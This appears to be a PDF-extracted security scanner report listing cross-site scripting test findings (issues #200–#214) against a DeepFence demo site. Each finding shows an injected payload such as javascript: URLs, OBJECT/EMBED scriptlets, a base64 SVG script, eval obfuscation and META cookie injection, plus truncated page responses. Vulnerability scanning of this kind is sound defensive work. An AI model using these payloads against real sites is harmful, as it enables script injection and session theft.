z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #200
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <BASE HREF="javascript:alert('XSS');//">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #201
Scan Cross Site ScriptingSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <OBJECT TYPE="text/x-scriptlet" DATA="http://soapui.org
/scriptlet.html"></OBJECT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #202
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-
0080c744f389><param name=url value=javascript:alert('XSS'
)></OBJECT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #203
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <EMBED SRC="http://soapui.org/xss.swf" 
AllowScriptAccess="always"></EMBED>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #204
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH 
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv 
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs 
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh 
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="
always"></EMBED>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head
/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window._
_DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk 
Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/
ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End 
of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" 
type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZ
VJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIk
iLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints on 
your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  demouser@deepfence.io 
echoed back in the response
CWE-ID CWE-79
Issue Number #205
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(
a+b+c+d);
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #206
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<XML ID=I><X><C><![CDATA[<IMG SRC="javas]] ><![CDATA[
cript:alert('XSS');">]] ></C></X></xml><SPAN DATASRC=#I 
DATAFLD=C DATAFORMATAS=HTML></SPAN>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #207
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.io<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('
XSS')"&gt;</B></I></XML><SPAN DATASRC="#xss" 
DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #208
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<HTML><BODY><?xml:namespace prefix="t" ns="urn:
schemas-microsoft-com:time"><?import namespace="t" 
implementation="#default#time2"><t:set attributeName="
innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&
quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #209
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT SRC="http://soapui.org/xss.jpg"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #210
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #211
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="http://soapui.org/somecommand.php?
somevariables=maliciouscode">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #212
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io Redirect 302 /a.jpg http://soapui.org/admin.asp&
deleteuser
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #213
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;
SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #214
Scan Cross Site Scripting
Severity ERROR
